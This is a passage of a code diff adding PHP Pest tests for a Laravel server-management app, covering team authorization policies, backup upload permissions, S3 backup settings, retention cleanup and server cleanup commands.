+    expect(auth()->user()->can('manageInvitations', $this->team))->toBeTrue();
+});
+
+// --- Cross-team isolation ---
+
+test('user from different team cannot update team', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'owner']);
+
+    $this->actingAs($otherUser);
+    session(['currentTeam' => $otherTeam]);
+
+    expect(auth()->user()->can('update', $this->team))->toBeFalse();
+});
+
+test('user from different team cannot manage members', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'owner']);
+
+    $this->actingAs($otherUser);
+    session(['currentTeam' => $otherTeam]);
+
+    expect(auth()->user()->can('manageMembers', $this->team))->toBeFalse();
+});
+
+// --- Team Policy: view ---
+
+test('owner can view team', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('view', $this->team))->toBeTrue();
+});
+
+test('admin can view team', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('view', $this->team))->toBeTrue();
+});
+
+test('member can view team', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('view', $this->team))->toBeTrue();
+});
+
+test('non-team member cannot view team', function () {
+    $outsider = User::factory()->create();
+    $this->actingAs($outsider);
+    session(['currentTeam' => $this->team]);
+
+    expect($outsider->can('view', $this->team))->toBeFalse();
+});
+
+// --- Team Policy: viewAdmin ---
+
+test('owner can view admin panel', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('viewAdmin', $this->team))->toBeTrue();
+});
+
+test('admin can view admin panel', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('viewAdmin', $this->team))->toBeTrue();
+});
+
+test('member cannot view admin panel', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('viewAdmin', $this->team))->toBeFalse();
+});
+
+test('non-team member cannot view admin panel', function () {
+    $outsider = User::factory()->create();
+    $this->actingAs($outsider);
+    session(['currentTeam' => $this->team]);
+
+    expect($outsider->can('viewAdmin', $this->team))->toBeFalse();
+});
+
+// --- Non-team member isolation ---
+
+test('non-team member cannot update team', function () {
+    $outsider = User::factory()->create();
+    $this->actingAs($outsider);
+    session(['currentTeam' => $this->team]);
+
+    expect($outsider->can('update', $this->team))->toBeFalse();
+});
+
+test('non-team member cannot delete team', function () {
+    $outsider = User::factory()->create();
+    $this->actingAs($outsider);
+    session(['currentTeam' => $this->team]);
+
+    expect($outsider->can('delete', $this->team))->toBeFalse();
+});
+
+test('non-team member cannot manage members', function () {
+    $outsider = User::factory()->create();
+    $this->actingAs($outsider);
+    session(['currentTeam' => $this->team]);
+
+    expect($outsider->can('manageMembers', $this->team))->toBeFalse();
+});
+
+test('non-team member cannot manage invitations', function () {
+    $outsider = User::factory()->create();
+    $this->actingAs($outsider);
+    session(['currentTeam' => $this->team]);
+
+    expect($outsider->can('manageInvitations', $this->team))->toBeFalse();
+});
+
+// --- Team creation and model-level protection ---
+
+test('member can create a new independent team', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $newTeam = Team::create([
+        'name' => 'New Team',
+        'description' => 'Created by member',
+        'personal_team' => false,
+    ]);
+
+    expect($newTeam)->toBeInstanceOf(Team::class)
+        ->and($newTeam->name)->toBe('New Team');
+});
+
+test('member cannot update an existing team at model level', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(fn () => $this->team->update(['name' => 'Hacked']))
+        ->toThrow(Exception::class, 'You are not allowed to update this team.');
+});

tests/Feature/Authorization/UploadBackupAuthorizationTest.php

@@ -0,0 +1,194 @@
+<?php
+
+use App\Models\Application;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\ServiceDatabase;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\File;
+use Illuminate\Support\Once;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->withoutVite();
+
+    Once::flush();
+
+    config(['app.maintenance.driver' => 'file']);
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->database = StandalonePostgresql::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test DB',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'testdb',
+        'image' => 'postgres:15',
+        'status' => 'running',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->application = Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test App',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+
+    $this->service = Service::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'test-service',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'docker_compose_raw' => 'version: "3"',
+    ]);
+
+    $this->serviceDatabase = ServiceDatabase::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'test-service-db',
+        'service_id' => $this->service->id,
+    ]);
+});
+
+// --- DatabasePolicy::uploadBackup (covers Standalone* databases) ---
+
+test('admin can upload backup for standalone database', function () {
+    expect($this->admin->can('uploadBackup', $this->database))->toBeTrue();
+});
+
+test('member cannot upload backup for standalone database', function () {
+    expect($this->member->can('uploadBackup', $this->database))->toBeFalse();
+});
+
+// --- ApplicationPolicy::uploadBackup ---
+
+test('admin can upload backup for application', function () {
+    expect($this->admin->can('uploadBackup', $this->application))->toBeTrue();
+});
+
+test('member cannot upload backup for application', function () {
+    expect($this->member->can('uploadBackup', $this->application))->toBeFalse();
+});
+
+// --- ServicePolicy::uploadBackup ---
+
+test('admin can upload backup for service', function () {
+    expect($this->admin->can('uploadBackup', $this->service))->toBeTrue();
+});
+
+test('member cannot upload backup for service', function () {
+    expect($this->member->can('uploadBackup', $this->service))->toBeFalse();
+});
+
+// --- ServiceDatabasePolicy::uploadBackup (delegates to ServicePolicy) ---
+
+test('admin can upload backup for service database', function () {
+    expect($this->admin->can('uploadBackup', $this->serviceDatabase))->toBeTrue();
+});
+
+test('member cannot upload backup for service database', function () {
+    expect($this->member->can('uploadBackup', $this->serviceDatabase))->toBeFalse();
+});
+
+// --- Cross-team isolation ---
+
+test('user from different team cannot upload backup', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('uploadBackup', $this->database))->toBeFalse();
+    expect($otherUser->can('uploadBackup', $this->application))->toBeFalse();
+    expect($otherUser->can('uploadBackup', $this->service))->toBeFalse();
+    expect($otherUser->can('uploadBackup', $this->serviceDatabase))->toBeFalse();
+});
+
+// --- HTTP endpoint: POST /upload/backup/{uuid} ---
+
+test('member gets 403 from POST /upload/backup and no file lands on disk', function () {
+    $uploadDir = storage_path('app/upload/'.$this->database->uuid);
+    if (File::exists($uploadDir)) {
+        File::deleteDirectory($uploadDir);
+    }
+
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $response = $this->withHeader('Accept', 'application/json')
+        ->post(route('upload.backup', ['databaseUuid' => $this->database->uuid]));
+
+    $response->assertForbidden();
+
+    expect(File::exists($uploadDir.'/restore'))->toBeFalse();
+});
+
+test('user from different team hits null-resource branch with 500', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    $this->actingAs($otherUser);
+    session(['currentTeam' => $otherTeam]);
+
+    $response = $this->post(route('upload.backup', ['databaseUuid' => $this->database->uuid]));
+
+    $response->assertStatus(500);
+});
+
+test('unauthenticated request is redirected to login', function () {
+    $response = $this->post(route('upload.backup', ['databaseUuid' => $this->database->uuid]));
+
+    $response->assertRedirect('/login');
+});

tests/Feature/BackupEditValidationTest.php

@@ -0,0 +1,207 @@
+<?php
+
+use App\Livewire\Project\Database\BackupEdit;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\S3Storage;
+use App\Models\ScheduledDatabaseBackup;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+function createBackupForEditValidationTest(Team $team, array $overrides = []): ScheduledDatabaseBackup
+{
+    $server = Server::factory()->create(['team_id' => $team->id]);
+    $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
+    $project = Project::factory()->create(['team_id' => $team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+    $database = StandalonePostgresql::create([
+        'name' => 'pg-backup-edit-validation',
+        'image' => 'postgres:16-alpine',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'postgres',
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+    ]);
+
+    return ScheduledDatabaseBackup::create(array_merge([
+        'frequency' => '0 0 * * *',
+        'save_s3' => true,
+        's3_storage_id' => null,
+        'database_type' => $database->getMorphClass(),
+        'database_id' => $database->id,
+        'team_id' => $team->id,
+    ], $overrides));
+}
+
+function createS3StorageForBackupEditValidationTest(Team|int $team, string $name = 'Backup Edit S3'): S3Storage
+{
+    return S3Storage::create([
+        'name' => $name,
+        'region' => 'us-east-1',
+        'key' => 'test-key',
+        'secret' => 'test-secret',
+        'bucket' => 'test-bucket',
+        'endpoint' => 'https://s3.example.com',
+        'is_usable' => true,
+        'team_id' => $team instanceof Team ? $team->id : $team,
+    ]);
+}
+
+beforeEach(function () {
+    if (InstanceSettings::find(0) === null) {
+        $settings = new InstanceSettings;
+        $settings->id = 0;
+        $settings->save();
+    }
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->user->teams()->attach($this->team, ['role' => 'owner']);
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+});
+
+it('disables S3 backup when saved without a selected S3 storage', function () {
+    $backup = createBackupForEditValidationTest($this->team);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])
+        ->call('submit')
+        ->assertDispatched('success');
+
+    $backup->refresh();
+    expect($backup->save_s3)->toBeFalsy();
+    expect($backup->s3_storage_id)->toBeNull();
+});
+
+it('cascades to disabling local backup deletion when S3 is force-disabled', function () {
+    $backup = createBackupForEditValidationTest($this->team, [
+        'disable_local_backup' => true,
+    ]);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])
+        ->call('submit')
+        ->assertDispatched('success');
+
+    $backup->refresh();
+    expect($backup->save_s3)->toBeFalsy();
+    expect($backup->s3_storage_id)->toBeNull();
+    expect($backup->disable_local_backup)->toBeFalsy();
+});
+
+it('keeps S3 enabled by selecting the only available team storage when none is selected yet', function () {
+    createS3StorageForBackupEditValidationTest(Team::factory()->create());
+    $s3 = createS3StorageForBackupEditValidationTest($this->team);
+    $backup = createBackupForEditValidationTest($this->team, [
+        'save_s3' => false,
+        's3_storage_id' => null,
+    ]);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])
+        ->set('saveS3', true)
+        ->call('instantSave')
+        ->assertDispatched('success');
+
+    $backup->refresh();
+    expect($backup->save_s3)->toBeTruthy();
+    expect($backup->s3_storage_id)->toBe($s3->id);
+});
+
+it('defaults to the first available storage when multiple storages are available', function () {
+    $firstS3 = createS3StorageForBackupEditValidationTest($this->team, 'First S3');
+    createS3StorageForBackupEditValidationTest($this->team, 'Second S3');
+    $backup = createBackupForEditValidationTest($this->team, [
+        'save_s3' => false,
+        's3_storage_id' => null,
+    ]);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])
+        ->assertSet('s3StorageId', $firstS3->id)
+        ->set('saveS3', true)
+        ->call('instantSave')
+        ->assertDispatched('success');
+
+    $backup->refresh();
+    expect($backup->save_s3)->toBeTruthy();
+    expect($backup->s3_storage_id)->toBe($firstS3->id);
+});
+
+it('accepts the S3 storage scope passed to the component', function () {
+    $s3 = createS3StorageForBackupEditValidationTest(0);
+    $backup = createBackupForEditValidationTest($this->team, [
+        'save_s3' => false,
+        's3_storage_id' => null,
+    ]);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => collect([$s3])])
+        ->set('saveS3', true)
+        ->set('s3StorageId', $s3->id)
+        ->call('instantSave')
+        ->assertDispatched('success');
+
+    $backup->refresh();
+    expect($backup->save_s3)->toBeTruthy();
+    expect($backup->s3_storage_id)->toBe($s3->id);
+});
+
+it('shows available S3 storages even when S3 backup is disabled', function () {
+    createS3StorageForBackupEditValidationTest($this->team, 'First S3');
+    createS3StorageForBackupEditValidationTest($this->team, 'Second S3');
+    $backup = createBackupForEditValidationTest($this->team, [
+        'save_s3' => false,
+        's3_storage_id' => null,
+    ]);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])
+        ->assertSee('First S3')
+        ->assertSee('Second S3');
+});
+
+it('shows disabled S3 storage dropdown when no storages are available', function () {
+    $backup = createBackupForEditValidationTest($this->team, [
+        'save_s3' => false,
+        's3_storage_id' => null,
+    ]);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])
+        ->assertSee('No S3 storage available');
+});
+
+it('shows when S3 backups are currently disabled', function () {
+    createS3StorageForBackupEditValidationTest($this->team);
+    $backup = createBackupForEditValidationTest($this->team, [
+        'save_s3' => false,
+        's3_storage_id' => null,
+    ]);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])
+        ->assertSee('S3 Storage')
+        ->assertSee('(currently disabled)');
+});
+
+it('saves selected S3 storage immediately when it changes', function () {
+    createS3StorageForBackupEditValidationTest($this->team, 'First S3');
+    $secondS3 = createS3StorageForBackupEditValidationTest($this->team, 'Second S3');
+    $backup = createBackupForEditValidationTest($this->team, [
+        'save_s3' => false,
+        's3_storage_id' => null,
+    ]);
+
+    Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])
+        ->set('s3StorageId', $secondS3->id)
+        ->assertDispatched('success');
+
+    $backup->refresh();
+    expect($backup->save_s3)->toBeFalsy();
+    expect($backup->s3_storage_id)->toBe($secondS3->id);
+});

tests/Feature/BackupRetentionAndStaleDetectionTest.php

@@ -0,0 +1,252 @@
+<?php
+
+use App\Jobs\CleanupInstanceStuffsJob;
+use App\Jobs\DatabaseBackupJob;
+use App\Models\ScheduledDatabaseBackup;
+use App\Models\ScheduledDatabaseBackupExecution;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Queue\Middleware\WithoutOverlapping;
+use Illuminate\Support\Facades\Cache;
+
+uses(RefreshDatabase::class);
+
+// --- WithoutOverlapping middleware on DatabaseBackupJob ---
+
+test('database backup job has WithoutOverlapping middleware keyed by backup id', function () {
+    $team = Team::factory()->create();
+
+    $backup = ScheduledDatabaseBackup::create([
+        'frequency' => '0 0 * * *',
+        'save_s3' => false,
+        'database_type' => 'App\Models\StandalonePostgresql',
+        'database_id' => 1,
+        'team_id' => $team->id,
+    ]);
+
+    $job = new DatabaseBackupJob($backup);
+    $middleware = $job->middleware();
+
+    expect($middleware)->toHaveCount(1);
+    expect($middleware[0])->toBeInstanceOf(WithoutOverlapping::class);
+});
+
+test('database backup job middleware uses custom timeout plus buffer', function () {
+    $team = Team::factory()->create();
+
+    $backup = ScheduledDatabaseBackup::create([
+        'frequency' => '0 0 * * *',
+        'save_s3' => false,
+        'database_type' => 'App\Models\StandalonePostgresql',
+        'database_id' => 1,
+        'team_id' => $team->id,
+        'timeout' => 7200,
+    ]);
+
+    $job = new DatabaseBackupJob($backup);
+    $middleware = $job->middleware();
+
+    $reflection = new ReflectionClass($middleware[0]);
+    $expiresAfterProp = $reflection->getProperty('expiresAfter');
+    $releaseAfterProp = $reflection->getProperty('releaseAfter');
+
+    expect($expiresAfterProp->getValue($middleware[0]))->toBe(7500); // 7200 + 300
+    expect($releaseAfterProp->getValue($middleware[0]))->toBeNull(); // dontRelease sets to null
+});
+
+// --- Stale backup detection in DatabaseBackupJob ---
+
+test('markStaleExecutionsAsFailed marks stale running executions as failed', function () {
+    $team = Team::factory()->create();
+
+    $backup = ScheduledDatabaseBackup::create([
+        'frequency' => '0 0 * * *',
+        'save_s3' => false,
+        'database_type' => 'App\Models\StandalonePostgresql',
+        'database_id' => 1,
+        'team_id' => $team->id,
+        'timeout' => 3600,
+    ]);
+
+    // Create a stale execution (3 hours old, timeout is 1h, threshold is 2h)
+    $staleExecution = ScheduledDatabaseBackupExecution::create([
+        'uuid' => 'stale-exec-uuid',
+        'database_name' => 'test_db',
+        'scheduled_database_backup_id' => $backup->id,
+        'status' => 'running',
+    ]);
+    ScheduledDatabaseBackupExecution::where('id', $staleExecution->id)
+        ->update(['created_at' => now()->subHours(3)]);
+
+    // Call the private method via reflection
+    $job = new DatabaseBackupJob($backup);
+    $reflection = new ReflectionClass($job);
+    $method = $reflection->getMethod('markStaleExecutionsAsFailed');
+    $method->invoke($job);
+
+    $staleExecution->refresh();
+    expect($staleExecution->status)->toBe('failed');
+    expect($staleExecution->message)->toContain('exceeded maximum allowed time');
+    expect($staleExecution->finished_at)->not->toBeNull();
+});
+
+test('markStaleExecutionsAsFailed does not mark recent running executions as failed', function () {
+    $team = Team::factory()->create();
+
+    $backup = ScheduledDatabaseBackup::create([
+        'frequency' => '0 0 * * *',
+        'save_s3' => false,
+        'database_type' => 'App\Models\StandalonePostgresql',
+        'database_id' => 1,
+        'team_id' => $team->id,
+        'timeout' => 3600,
+    ]);
+
+    // Create a recent execution (30 minutes old, threshold is 2 hours)
+    $recentExecution = ScheduledDatabaseBackupExecution::create([
+        'uuid' => 'recent-exec-uuid',
+        'database_name' => 'test_db',
+        'scheduled_database_backup_id' => $backup->id,
+        'status' => 'running',
+    ]);
+    ScheduledDatabaseBackupExecution::where('id', $recentExecution->id)
+        ->update(['created_at' => now()->subMinutes(30)]);
+
+    $job = new DatabaseBackupJob($backup);
+    $reflection = new ReflectionClass($job);
+    $method = $reflection->getMethod('markStaleExecutionsAsFailed');
+    $method->invoke($job);
+
+    $recentExecution->refresh();
+    expect($recentExecution->status)->toBe('running');
+    expect($recentExecution->finished_at)->toBeNull();
+});
+
+// --- Decimal cast on ScheduledDatabaseBackup model ---
+
+test('scheduled database backup model casts max storage fields to float', function () {
+    $model = new ScheduledDatabaseBackup;
+    $casts = $model->getCasts();
+
+    expect($casts)->toHaveKey('database_backup_retention_max_storage_locally');
+    expect($casts['database_backup_retention_max_storage_locally'])->toBe('float');
+    expect($casts)->toHaveKey('database_backup_retention_max_storage_s3');
+    expect($casts['database_backup_retention_max_storage_s3'])->toBe('float');
+});
+
+test('max storage retention field returns float zero that passes strict comparison', function () {
+    $team = Team::factory()->create();
+
+    $backup = ScheduledDatabaseBackup::create([
+        'frequency' => '0 0 * * *',
+        'save_s3' => false,
+        'database_type' => 'App\Models\StandalonePostgresql',
+        'database_id' => 1,
+        'team_id' => $team->id,
+        'database_backup_retention_max_storage_locally' => 0,
+    ]);
+
+    $backup->refresh();
+
+    // With the float cast, strict comparison to 0.0 works
+    expect($backup->database_backup_retention_max_storage_locally)->toBe(0.0);
+    // And loose comparison to int 0 also works
+    expect($backup->database_backup_retention_max_storage_locally == 0)->toBeTrue();
+});
+
+// --- Periodic retention enforcement in CleanupInstanceStuffsJob ---
+
+test('cleanup instance stuffs job calls retention enforcement without errors', function () {
+    $team = Team::factory()->create();
+
+    $backup = ScheduledDatabaseBackup::create([
+        'frequency' => '0 0 * * *',
+        'save_s3' => false,
+        'enabled' => true,
+        'database_type' => 'App\Models\StandalonePostgresql',
+        'database_id' => 1,
+        'team_id' => $team->id,
+        'database_backup_retention_amount_locally' => 1,
+    ]);
+
+    // Create 3 successful executions
+    foreach (range(1, 3) as $i) {
+        ScheduledDatabaseBackupExecution::create([
+            'uuid' => "exec-uuid-{$i}",
+            'database_name' => 'test_db',
+            'filename' => "/backup/test_{$i}.dmp",
+            'scheduled_database_backup_id' => $backup->id,
+            'status' => 'success',
+            'size' => 1024,
+            'local_storage_deleted' => false,
+            'created_at' => now()->subDays($i),
+        ]);
+    }
+
+    Cache::forget('backup-retention-enforcement');
+
+    // Should not throw — the job gracefully handles missing servers
+    $job = new CleanupInstanceStuffsJob;
+    $job->handle();
+
+    // All 3 executions should still exist (no server to delete files from)
+    expect($backup->executions()->count())->toBe(3);
+});
+
+test('deleteOldBackupsLocally identifies correct backups for deletion by retention count', function () {
+    $team = Team::factory()->create();
+
+    $backup = ScheduledDatabaseBackup::create([
+        'frequency' => '0 0 * * *',
+        'save_s3' => false,
+        'enabled' => true,
+        'database_type' => 'App\Models\StandalonePostgresql',
+        'database_id' => 1,
+        'team_id' => $team->id,
+        'database_backup_retention_amount_locally' => 1,
+    ]);
+
+    foreach (range(1, 3) as $i) {
+        $exec = ScheduledDatabaseBackupExecution::create([
+            'uuid' => "exec-uuid-{$i}",
+            'database_name' => 'test_db',
+            'filename' => "/backup/test_{$i}.dmp",
+            'scheduled_database_backup_id' => $backup->id,
+            'status' => 'success',
+            'size' => 1024,
+            'local_storage_deleted' => false,
+        ]);
+        ScheduledDatabaseBackupExecution::where('id', $exec->id)
+            ->update(['created_at' => now()->subDays($i)]);
+    }
+
+    // Test the selection logic directly
+    $successfulBackups = $backup->executions()
+        ->where('status', 'success')
+        ->where('local_storage_deleted', false)
+        ->orderBy('created_at', 'desc')
+        ->get();
+
+    $retentionAmount = $backup->database_backup_retention_amount_locally;
+    $backupsToDelete = $successfulBackups->skip($retentionAmount);
+
+    // exec-uuid-1 is newest (1 day ago), exec-uuid-2 and exec-uuid-3 should be deleted
+    expect($backupsToDelete)->toHaveCount(2);
+    expect($successfulBackups->first()->uuid)->toBe('exec-uuid-1');
+});
+
+test('cleanup instance stuffs job throttles retention enforcement via cache', function () {
+    Cache::forget('backup-retention-enforcement');
+
+    $job = new CleanupInstanceStuffsJob;
+    $job->handle();
+
+    // The cache key should now exist
+    expect(Cache::has('backup-retention-enforcement'))->toBeTrue();
+
+    // Running again should skip retention enforcement (cache hit)
+    // We verify by checking the lock is still held — no error thrown
+    $job->handle();
+
+    expect(Cache::has('backup-retention-enforcement'))->toBeTrue();
+});

tests/Feature/BreadcrumbsVisibilityTest.php

@@ -0,0 +1,71 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    InstanceSettings::unguarded(function () {
+        InstanceSettings::query()->create([
+            'id' => 0,
+            'is_registration_enabled' => true,
+        ]);
+    });
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'name' => 'Pure Dockerfile Example',
+        'status' => 'running',
+    ]);
+});
+
+it('hides the breadcrumb trail on mobile while keeping the current status visible', function () {
+    $response = $this->get(route('project.application.configuration', [
+        'project_uuid' => $this->project->uuid,
+        'environment_uuid' => $this->environment->uuid,
+        'application_uuid' => $this->application->uuid,
+    ]));
+
+    $response->assertSuccessful();
+    $response->assertSee('flex min-w-0 flex-col gap-1 md:hidden', false);
+    $response->assertSee('flex min-w-0 items-center text-xs text-neutral-400', false);
+    $response->assertSee('hidden flex-wrap items-center gap-y-1 md:flex', false);
+    $response->assertSee('flex flex-wrap items-center gap-1', false);
+    $response->assertSee(
+        'scrollbar flex min-h-10 w-full flex-nowrap items-center gap-6 overflow-x-scroll overflow-y-hidden pb-1 whitespace-nowrap md:w-auto md:overflow-visible',
+        false,
+    );
+    $response->assertSee('shrink-0', false);
+    $response->assertSee('Actions');
+    $response->assertSee('dropdown-item-touch', false);
+    $response->assertSee('hidden flex-wrap items-center gap-2 md:flex', false);
+    $response->assertSee('window.innerWidth >= 768', false);
+    $response->assertSee(':style="panelStyles"', false);
+    $response->assertSee('absolute top-full z-50 mt-1 min-w-max max-w-[calc(100vw-1rem)] md:top-0 md:mt-6', false);
+    $response->assertSee('Pure Dockerfile Example');
+    $response->assertSee('Running');
+    $response->assertSee('pt-2 pb-4 md:pb-10', false);
+
+    expect($response->getContent())->not->toContain('hidden pt-2 pb-10 md:flex');
+});

tests/Feature/CleanupUnreachableServersTest.php

@@ -6,7 +6,30 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
 
 uses(RefreshDatabase::class);
 
-it('cleans up servers with unreachable_count >= 3 after 7 days', function () {
+it('disables (non-destructively) self-hosted servers with unreachable_count >= 3 after 7 days', function () {
+    config(['constants.coolify.self_hosted' => true]);
+
+    $team = Team::factory()->create();
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 50,
+        'unreachable_notification_sent' => true,
+        'updated_at' => now()->subDays(8),
+    ]);
+
+    $originalIp = (string) $server->ip;
+
+    $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+    $server->refresh();
+    // IP must be preserved — never overwritten on self-hosted.
+    expect($server->ip)->toBe($originalIp);
+    expect($server->settings->force_disabled)->toBeTrue();
+});
+
+it('overwrites the IP with 1.2.3.4 on cloud for servers with unreachable_count >= 3 after 7 days', function () {
+    config(['constants.coolify.self_hosted' => false]);
+
     $team = Team::factory()->create();
     $server = Server::factory()->create([
         'team_id' => $team->id,
@@ -30,12 +53,13 @@ it('does not clean up servers with unreachable_count less than 3', function () {
         'updated_at' => now()->subDays(8),
     ]);
 
-    $originalIp = $server->ip;
+    $originalIp = (string) $server->ip;
 
     $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
 
     $server->refresh();
     expect($server->ip)->toBe($originalIp);
+    expect($server->settings->force_disabled)->toBeFalse();
 });
 
 it('does not clean up servers updated within 7 days', function () {
@@ -47,12 +71,13 @@ it('does not clean up servers updated within 7 days', function () {
         'updated_at' => now()->subDays(3),
     ]);
 
-    $originalIp = $server->ip;
+    $originalIp = (string) $server->ip;
 
     $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
 
     $server->refresh();
     expect($server->ip)->toBe($originalIp);
+    expect($server->settings->force_disabled)->toBeFalse();
 });
 
 it('does not clean up servers without notification sent', function () {
@@ -64,10 +89,11 @@ it('does not clean up servers without notification sent', function () {
         'updated_at' => now()->subDays(8),
     ]);
 
-    $originalIp = $server->ip;
+    $originalIp = (string) $server->ip;
 
     $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
 
     $server->refresh();
     expect($server->ip)->toBe($originalIp);
+    expect($server->settings->force_disabled)->toBeFalse();
 });

tests/Feature/CleanupUnsubscribedServersTest.php

@@ -0,0 +1,78 @@
+<?php
+
+use App\Models\Server;
+use App\Models\Subscription;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+it('sets unreachable fields on servers when subscription ends', function () {
+    $team = Team::factory()->create();
+    Subscription::create([
+        'team_id' => $team->id,
+        'stripe_invoice_paid' => true,
+    ]);
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 0,
+        'unreachable_notification_sent' => false,
